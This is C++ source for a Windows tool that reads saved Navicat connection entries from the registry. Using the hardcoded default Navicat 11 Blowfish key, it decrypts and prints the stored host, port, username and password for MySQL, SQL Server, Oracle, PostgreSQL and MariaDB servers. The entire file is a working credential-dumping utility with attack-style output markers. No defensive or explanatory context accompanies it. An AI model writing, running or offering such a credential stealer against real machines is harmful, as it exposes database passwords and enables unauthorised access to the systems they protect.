﻿#include <map>
#include <string>
#include <vector>
#include <sstream>
#include <iostream>
#include <algorithm>

#include <openssl/evp.h>
#include <openssl/sha.h>
#include <openssl/blowfish.h>

#include <windows.h>

class Navicat11Cipher {
public:
    Navicat11Cipher()
        : Navicat11Cipher("3DC5CA39")
    {
    }
    explicit Navicat11Cipher(const std::string& customKey)
    {
        unsigned char hash[SHA_DIGEST_LENGTH]{};
        SHA1(reinterpret_cast<const unsigned char*>(customKey.c_str()), customKey.size(), hash);
        BF_set_key(&bfKey, SHA_DIGEST_LENGTH, hash);
    }

    std::string DecryptString(const std::string& hexCipher)
    {
        auto cipher = HexToBytes(hexCipher);
        if (cipher.empty())
            return {};

        constexpr size_t blockSize = 8;
        std::vector<uint8_t> cv(blockSize, 0xFF);
        BF_ecb_encrypt(cv.data(), cv.data(), &bfKey, BF_ENCRYPT);

        std::vector<uint8_t> ret;
        size_t blocks = cipher.size() / blockSize;
        size_t left = cipher.size() % blockSize;

        std::vector<uint8_t> temp(blockSize);
        std::vector<uint8_t> temp2(blockSize);

        for (size_t i = 0; i < blocks; ++i)
        {
            std::copy_n(cipher.begin() + i * blockSize, blockSize, temp.begin());
            std::copy(temp.begin(), temp.end(), temp2.begin());

            BF_ecb_encrypt(temp.data(), temp.data(), &bfKey, BF_DECRYPT);
            XorBytes(temp, cv, blockSize);
            ret.insert(ret.end(), temp.begin(), temp.end());

            XorBytes(cv, temp2, blockSize);
        }

        if (left != 0)
        {
            std::fill(temp.begin(), temp.end(), 0);
            std::copy_n(cipher.begin() + blocks * blockSize, left, temp.begin());

            BF_ecb_encrypt(cv.data(), cv.data(), &bfKey, BF_ENCRYPT);
            XorBytes(temp, cv, blockSize);
            ret.insert(ret.end(), temp.begin(), temp.begin() + left);
        }

        return std::string(ret.begin(), ret.end());
    }

private:
    static std::vector<uint8_t> HexToBytes(const std::string& hex)
    {
        std::vector<uint8_t> result;
        for (size_t i = 0; i < hex.length(); i += 2)
        {
            std::string byteStr = hex.substr(i, 2);
            result.push_back(static_cast<uint8_t>(std::stoi(byteStr, nullptr, 16)));
        }
        return result;
    }
    static void XorBytes(std::vector<uint8_t>& a, const std::vector<uint8_t>& b, size_t len)
    {
        for (size_t i = 0; i < len; ++i)
            a[i] ^= b[i];
    }

    BF_KEY bfKey;
};

void PrintRegValue(const std::string& name, HKEY hKey, const std::string& value)
{
    DWORD type, size = 0;
    if (RegGetValueA(hKey, nullptr, value.c_str(), RRF_RT_ANY, &type, nullptr, &size) != ERROR_SUCCESS)
        return;
    switch (type)
    {
    case REG_SZ:
    {
        std::vector<char> buffer(size);
        if (RegGetValueA(hKey, nullptr, value.c_str(), RRF_RT_ANY, nullptr, buffer.data(), &size) == ERROR_SUCCESS)
        {
            static Navicat11Cipher cipher;
            std::cout << name << (value == "Pwd" ? cipher.DecryptString(buffer.data()) : buffer.data()) << '\n';
        }
    }
    break;
    case REG_DWORD:
    {
        DWORD data = 0;
        if (RegGetValueA(hKey, nullptr, value.c_str(), RRF_RT_ANY, nullptr, &data, &size) == ERROR_SUCCESS)
            std::cout << name << data << '\n';
    }
    break;
    default:
        break;
    }
}

int main()
{
    const std::map<std::string, std::string> navicatKeys = { { "Navicat", "MySQL" }, { "NavicatMSSQL", "SQL Server" },
        { "NavicatOra", "Oracle" }, { "NavicatPG", "PostgreSQL" }, { "NavicatMARIADB", "MariaDB" } };

    for (const auto& [regPath, dbName] : navicatKeys)
    {
        std::string basePath = "Software\\PremiumSoft\\" + regPath + "\\Servers";
        HKEY hKey;
        if (RegOpenKeyExA(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
            continue;

        std::cout << "[+] DatabaseName    : " << dbName << "\n";

        char serverName[256]{};
        DWORD index = 0;
        while (RegEnumKeyA(hKey, index++, serverName, sizeof(serverName)) == ERROR_SUCCESS)
        {
            HKEY hServer;
            std::string serverPath = basePath + "\\" + serverName;
            if (RegOpenKeyExA(HKEY_CURRENT_USER, serverPath.c_str(), 0, KEY_READ, &hServer) != ERROR_SUCCESS)
                continue;

            std::cout << "    [>] ConnectName : " << serverName << '\n';
            PrintRegValue("    [>] hostname    : ", hServer, "Host");
            PrintRegValue("    [>] hostport    : ", hServer, "Port");
            PrintRegValue("    [>] username    : ", hServer, "UserName");
            PrintRegValue("    [>] password    : ", hServer, "Pwd");
            std::cout << std::endl;

            RegCloseKey(hServer);
        }
        RegCloseKey(hKey);
    }
    int _c = std::getchar();
    return 0;
}
